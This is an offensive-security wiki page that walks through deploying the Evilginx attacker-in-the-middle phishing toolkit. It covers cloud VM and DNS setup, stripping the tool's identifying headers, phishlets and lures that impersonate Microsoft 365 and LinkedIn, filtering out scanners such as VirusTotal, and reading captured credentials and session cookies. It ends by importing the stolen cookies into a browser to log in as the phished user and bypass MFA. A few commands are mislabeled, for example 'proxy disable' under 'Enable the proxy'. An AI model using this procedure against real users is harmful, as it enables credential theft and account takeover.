# Attacker-in-the-Middle (Evilginx)

{% embed url="<https://github.com/kgretzky/evilginx2>" %}

{% embed url="<https://help.evilginx.com/docs/category/guides>" %}

[Evilginx ](https://github.com/kgretzky/evilginx2)is a phishing toolkit designed for attacker-in-the-middle (AitM) attacks that allow an adversary to capture login credentials and session cookies. These session cookies can be injected into a browser, bypassing traditional MFA and allowing full access to the user's account.

{% hint style="info" %}
A session cookie/token is a unique piece of data generated by a web server when a user authenticates to the server. It is stored on a user's browser as a form of identification for that specific session.
{% endhint %}

<figure><img src="https://3234535347-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkU93ONAZiHsNgO6Mhocr%2Fuploads%2FEcySnuQHmzq9mYXLKy2w%2Fevilproxy.png?alt=media&#x26;token=93fad1f6-c427-4dd3-9a28-a7042450fa2c" alt=""><figcaption><p>Phishing with Evilginx workflow</p></figcaption></figure>

## Evilginx Setup

{% tabs %}
{% tab title="Infrastructure" %}

### Infrastructure

The easiest and (probably) most common place that Evilginx is hosted/set up is on a Linux-based virtual machine hosted by a cloud infrastructure provider (e.g. Azure/AWS).

Once your VM is created, ensure that there is no HTTP server on port 80 running on your VM. You can use *netstat* to check what ports are currently in use on your VM and use *ps* to kill the process using port 80.

{% code title="Linux (Evilginx VM)" %}

```bash
# Check what ports are in use
ss -tulpn

# Kill a process
kill [process pid]
```

{% endcode %}

You will then have to implement the following inbound networking rules on your Evilginx VM:

<table><thead><tr><th width="140">Protocol</th><th width="132">Port</th><th>Description</th></tr></thead><tbody><tr><td>TCP</td><td>443</td><td>Reverse proxy HTTPS traffic</td></tr><tr><td>TCP</td><td>22</td><td>SSH port for remote access</td></tr><tr><td>UDP</td><td>53</td><td>DNS traffic for hostname resolution</td></tr></tbody></table>
{% endtab %}

{% tab title="Domain/DNS" %}

### Domain/DNS

You will need to buy/register a domain, from [GoDaddy](https://www.godaddy.com/) or [Cloudflare](https://www.cloudflare.com/products/registrar/) for example, to be used as a top-level domain for your phishing URLs.

Once you have a domain, set your domain to use custom nameservers that point to your Evilginx VM's public IP (e.g. *weelee.zip* domain with Evilginx VM with a public IP of *1.2.3.4*).

| Nameserver     |
| -------------- |
| ns1.weelee.zip |
| ns2.weelee.zip |

| Hostname | IP Address |
| -------- | ---------- |
| ns1      | 1.2.3.4    |
| ns2      | 1.2.3.4    |

{% endtab %}

{% tab title="Evilginx Deployment" %}

### Evilginx Deployment

On your VM, install Golang for your distribution, pull down the source code for Evilginx from the Evilginx2 GitHub, and build Evilginx.

{% code title="Linux (Evilginx VM)" %}

```bash
# Pull down Golang and set the binary location to PATH
curl -OL https://go.dev/dl/go1.22.3.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.22.3.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

# Modify systemd to not use port 53
sudo sed -i 's/#DNSStubListener=yes/DNSStubListener=no/' /etc/systemd/resolved.conf
sudo systemctl restart systemd-resolved

# Clone Evilginx
git clone https://github.com/kgretzky/evilginx2 /opt/evilginx2
cd /opt/evilginx2
go build
make
```

{% endcode %}

Evilginx comes with indicators of compromise headers in *evliginx2/core/http\_proxy.go*. It is pretty standard procedure for most people to remove these headers.

{% code title="Linux" %}

```bash
sed -i 's/req.Header.Set(p.getHomeDir(), o_host)///req.Header.Set(p.getHomeDir(), o_host)/' evilginx/core/http_proxy.go
```

{% endcode %}
{% endtab %}
{% endtabs %}

{% hint style="info" %}
There are plenty of other customization and configuration changes to help secure your phishing links, domain, and Evilginx infrastructure.

This includes things as:

* User-Agent Filtering
* SPF/DKIM
* Domain Aging/Site Classification
* Google AMP Redirects
  {% endhint %}

## Evilginx Usage

As with lots of tools, the `help` command will show you a help menu. Using the `help` command followed by an action command such as *config* or *phishlets* will give you the help menu for that action.

{% tabs %}
{% tab title="Config" %}

### Config

If you want to quickly configure your domain to work inside Evilginx, all you have to do is set the server domain and Evilginx public IP (e.g. *weelee.zip* domain with Evilginx VM with a public IP of *1.2.3.4*).

{% code title="Evilginx" %}

```
: config domain weelee.zip
: config domain 1.2.3.4
```

{% endcode %}

***

#### Changing Unauthorized URL

You can change the URL where all unauthorized requests that are sent to Evilginx are redirected to. This can be a helpful way to deter scanners or bad (or would it be good?) actors.

{% code title="Evilginx" %}

```bash
# Change the URL for unauthorized requests
: config unauth_url https://office.com
```

{% endcode %}

***

#### Pre-Configuration/Automation

If you want to automate the deployment of your domain, phishlets, and lures, you can create a custom *config.json* file and place it at *\~/.evilginx/config.json*.

Below is an example *config.json* file with a pre-configured LinkedIn phishlet (taken from <https://help.evilginx.com/docs/guides/config>):

{% code title="JSON" %}

```
{
    "general": {
        "bind_ipv4": "127.0.0.1",
        "dns_port": 53,
        "domain": "not-a-phish.com",
        "external_ipv4": "1.2.3.4",
        "https_port": 443,
        "unauth_url": "https://www.linkedin.com"
    },
    "phishlets": {
        "linkedin": {
            "hostname": "linkedin.not-a-phish.com",
            "enabled": true,
            "visible": true
        }
    },
    "lures": [
        {
            "hostname": "",
            "info": "",
            "og_desc": "",
            "og_image": "",
            "og_title": "",
            "og_url": "",
            "path": "/login",
            "phishlet": "linkedin",
            "redirect_url": "https://www.linkedin.com",
            "redirector": "",
            "ua_filter": ""
        }
    ]
}
```

{% endcode %}

***

#### Certificates

TLS certificates are automatically generated for the domains and subdomains you use for your phishing URLs. All generated certificates are stored in *\~/.local/share/certmagic*.
{% endtab %}

{% tab title="Phishlets" %}

### Phishlets

Phishlets are a core part of Evilginx, as they are used to configure Evilginx for targeting specific websites. Phishlets are written in YAML and should be placed in the phishlets directory in the root directory of Evilginx.

***

#### Creating/Enabling Phishlets

In order to enable a phishlet, you must set a hostname that will be used in the phishing URL. This hostname must always end with the top-level domain used to set up Evilginx (e.g. phishlet named m365 with root domain weelee.zip).

{% code title="Evilginx" %}

```sh
# Set the hostname for your phishlet
: phishlets hostname m365 login.weelee.zip

# Enable your phishlet
: phishlets enable m365
```

{% endcode %}

#### Hiding Phishlets

Hiding a phishlet will make Evilginx treat all requests to the valid phishing URL as unauthorized requests. If a redirect URL is not set up, Evilginx will just return a 403.

{% code title="Evilginx" %}

```bash
# Hide your phishlet
: phishlets hide m365

# Unhide your phishlet
: phishlets unhide m365
```

{% endcode %}

#### Custom Authorized Request Redirect

Although a global redirect URL can be set using the `config` command, it is possible to set a custom redirect URL for your specific phishlet.

{% code title="Evilginx" %}

```bash
# Set redirect URL for unauthorized requests for specific phishlet
phishlets unauth_url m365 https://office.com
```

{% endcode %}

{% hint style="info" %}
Check out [phishlet-development](https://stuff.weelee.zip/network/external-network/phishing/attacker-in-the-middle-evilginx/phishlet-development "mention") for info on building custom phishlets!
{% endhint %}
{% endtab %}

{% tab title="Lures" %}

### Lures

Lures are where you can get phishing links for a configured phishlet(s).

Simply create a lure for your phishlet and get the URL that you will serve your targets (e.g. phishlet named m365 with lure ID of 0):

{% code title="Evilginx" %}

```bash
# Create a lure for your phishlet
: lures create m365

# List all lures
: lures

# Get the phishing URL for lure ID 0
: lures get-url 0
```

{% endcode %}

While the above is sufficient to serve a phishing page, there are multiple configurations and enhancements that can change the behavior of when a target visits your phishing URL.

***

#### Customizing Phishing URL

The default URL would look something like the following (e.g. phishlet named m365 with weelee.zip domain):

{% code title="Evilginx" %}

```bash
: lures get-url 0

https://m365.weelee.zip/M3r1XJKM
```

{% endcode %}

However, you may want to change the subdomain used in your phishing URL. This can be done for your specific lure, as long as the top-level domain is the one you used to set up Evilginx.

{% code title="Evilginx" %}

```bash
# Edit the hostname for the lure with ID 0
: lures edit 0 hostname login.weelee.zip
```

{% endcode %}

You can also change the path of your phishing landing page for your specific lure.

{% code title="Evilginx" %}

```bash
# Edit the path for the lure with ID 0
lures edit 0 path /common/oauthv2
```

{% endcode %}

***

#### User-Agent Filter

Evilginx allows you to filter out specific User Agents received within the HTTP header of the incoming request. Doing this will redirect the visitor the same way as an invalid lure URL.

{% code title="Evilginx" %}

```bash
# Edit what User Agents to filter using a regular expression
lures edit 0 ua_filter Mobile|Shodan|VirusTotal|curl
```

{% endcode %}

***

#### Redirect URL

After the phished user goes through the authentication process and Evilginx is able to obtain the target user's session cookies, you can redirect them to a defined URL.

{% code title="Evilginx" %}

```bash
# Edit the redirect URL for the lure with ID 0
lures edit 0 redirect_url https://office.com
```

{% endcode %}
{% endtab %}

{% tab title="Sessions" %}

### Sessions

Once a user visits your phishing URL, a new session will be created for the instance to track the progress of the phishing attempt. Any credentials or session cookies generated by the target while visiting the phishing URL will be stored within a session.

{% code title="Evilginx" %}

```bash
# List all sessions
: sessions

# View details of a specific session ID (credentials, session cookies, etc.)
: sessions [id]

# Delete a session
: sessions delete [id]
```

{% endcode %}

***

#### Using Cookies From a Session

To import custom session cookies into your browser, you will need a browser extension that allows you to do so.

> Chrome: [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en) or [Cookie-Editor](https://chrome.google.com/webstore/detail/cookie-editor/hlkenndednhfkekhgcdicdfddnkalmdm?hl=en)
>
> Firefox: [Cookie-Editor](https://addons.mozilla.org/en-US/firefox/addon/cookie-editor/)

Once you have cleared any existing cookies in your browser, copy your captured session cookies and import it into your browser using one of the extensions listed above.

<figure><img src="https://3234535347-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkU93ONAZiHsNgO6Mhocr%2Fuploads%2Fo2UuCs4TcqZjGCrRb3Y0%2Fcookie-editor.jpg?alt=media&#x26;token=6442a007-4f10-4e62-b88e-28a9fb3c8328" alt=""><figcaption><p>Cookie-Editor on Chrome example</p></figcaption></figure>

<figure><img src="https://3234535347-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkU93ONAZiHsNgO6Mhocr%2Fuploads%2FZswLRox5OpDD2uvtPtjn%2Fcookie-editor%20import.jpg?alt=media&#x26;token=541c9bf8-3198-401a-be3b-9cc25ef91557" alt=""><figcaption><p>Cookie-Editor on Chrome - Import Function example</p></figcaption></figure>

You should now be able to visit the website and your browser should automatically apply the imported session cookies and log you in as the phished user!
{% endtab %}

{% tab title="Proxy" %}

### Proxy

Evilginx allows you to proxy outbound traffic, which I have found to be very useful to proxy your traffic through Burp Suite for phishlet development. Currently, only HTTP and SOCKS proxies are supported.

{% code title="Evilginx" %}

```bash
# Check current proxy settings
: proxy
```

{% endcode %}

By default, Burp Suite has an HTTP proxy server running on *127.0.0.1* port 8080. Let's set up a proxy for Burp Suite as an example:

{% code title="Evilginx" %}

```bash
# Specify the proxy type to use
: proxy type http

# Specify address and port number
: proxy address 127.0.0.1
: proxy port 8080

# Enable the proxy
: proxy disable
```

{% endcode %}

{% hint style="warning" %}
Restart Evilginx whenever you enable or disable the outbound proxy.
{% endhint %}
{% endtab %}

{% tab title="Blacklist" %}

### Blacklist

The blacklist feature stores all IPs that make unauthorized requests to your Evilginx server in a file located at */root/.evilginx/blacklist.txt*.

Unauthorized requests include the following:

* Requests made to a URL not belonging to any of the enabled lures
* Requests match a lure URL, but the lure phishlet is disabled or hidden

Blacklist has multiple modes that it can operate in: `all`, `unauth`, `noadd`, and `off`.

<table><thead><tr><th width="101">Mode</th><th>Description</th></tr></thead><tbody><tr><td>all</td><td>Block and blacklist IP of every request, including valid ones (Useful for deterring scanners)</td></tr><tr><td>unauth</td><td>Block and blacklist IP of every request that doesn't point to a valid lure URL (default behavior)</td></tr><tr><td>noadd</td><td>Block IP of every request that doesn't point to a valid lure URL (avoids blacklisting an IP that may access a valid lure URL later)</td></tr><tr><td>off</td><td>Block unauthorized requests, but ignore blocking IPs already blacklisted (use case is if you've somehow added a valid target's IP to your blacklist)</td></tr></tbody></table>

{% code title="Evilginx" %}

```bash
# Change the blacklist mode
: blacklist [mode]
```

{% endcode %}
{% endtab %}
{% endtabs %}
